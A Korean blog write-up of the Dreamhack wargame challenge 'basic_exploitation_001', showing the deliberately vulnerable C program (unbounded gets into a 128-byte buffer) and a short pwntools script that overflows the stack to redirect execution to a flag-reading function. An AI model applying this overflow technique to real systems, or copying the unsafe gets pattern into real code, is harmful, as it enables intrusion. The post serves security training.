[Dreamhack] basic_exploitation_001
2022. 2. 17. 16:36ㆍDreamhack/System Hacking
1. 문제 정보
2. 문제 파일
더보기
문제에서 제공되는 소스 코드이다.
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void read_flag() {
system("cat /flag");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
gets(buf);
return 0;
}
3. 문제 풀이
더보기


read_flag 주소

void read_flag() {
system("cat /flag");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
gets(buf);
return 0;
}
read_flag라는 flag를 읽을 수 있는 함수가 있습니다. 그리고 gets 명령어를 통해 buf에 문자열을 입력할 수 있습니다.
따로 길이에 대한 검증이 없기 때문에 버퍼 오버 플로우 공격을 통해 Return Address의 주소를 read_flag의 주소로 변조해 FLAG를 읽을 수 있습니다.

buf 배열이 ebp - 0x80에 할당됩니다. 128byte + SFP 4byte = 132byte에 임의의 값을 집어넣고 read_flag의 주소를 넣으면 됩니다.

pwntools를 이용해 공격을 수행하였습니다. 코드는 아래와 같습니다.
from pwn import *
r = remote('host1.dreamhack.games', port)
payload = b"A" * 132 + p32(0x080485b9)
r.sendline(payload)
r.interactive()
결과는 아래와 같습니다.

'Dreamhack > System Hacking' 카테고리의 다른 글
[Dreamhack] Return to Library (0) | 2022.02.18 |
---|---|
[Dreamhack] ssp_000 (0) | 2022.02.17 |
[Dreamhack] Return to Shellcode (0) | 2022.02.17 |
[Dreamhack] basic_exploitation_000 (0) | 2022.02.17 |
[Dreamhack] Return Address Overwrite (0) | 2022.02.16 |